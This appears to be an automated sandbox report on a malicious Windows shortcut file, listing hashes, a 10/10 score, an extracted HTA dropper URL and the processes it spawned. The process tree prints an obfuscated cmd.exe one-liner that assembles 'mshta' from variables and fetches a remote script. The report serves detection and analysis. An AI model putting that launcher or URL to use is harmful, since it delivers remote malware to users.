Analysis
- max time kernel
148s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 12:53
Static task
static1
Behavioral task
behavioral1
Sample
DOC-OT876X.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-OT876X.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-OT876X.lnk
- Size 1KB
- Sample260803-p452daycpf
- SHA256 391c95689c9a7c95ad8863785951b3c9b2ddc7f5416066766711ec8c607de965
- MD5 43a5d6441103d0d78a27b37d7be86e8c
- SHA1 70c36b005eb3831ce6217cf2b41a08548848ae5e
- SHA512 c6be67f63611162770549ebda8332edd2b9845524da2668159c408b7b760c5284192563df409e3669099ef22801470856f9f4c66b0c63ddb698a2dbbf045eb2a
- TLSH T1193147502FFD0614F3B38E7784BB672085BBB9558E24C61D01454A4C1022A14E17BF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4776 cmd.exe 5180 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4776 wrote to memory of 5180 4776 cmd.exe 90 PID 5180 wrote to memory of 788 5180 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-OT876X.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4776 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set Qgq=msh&&set DnK=ta&&start "" !Qgq!!DnK! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5180 -
C:\Windows\System32\mshta.exemshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F157943⤵PID:788
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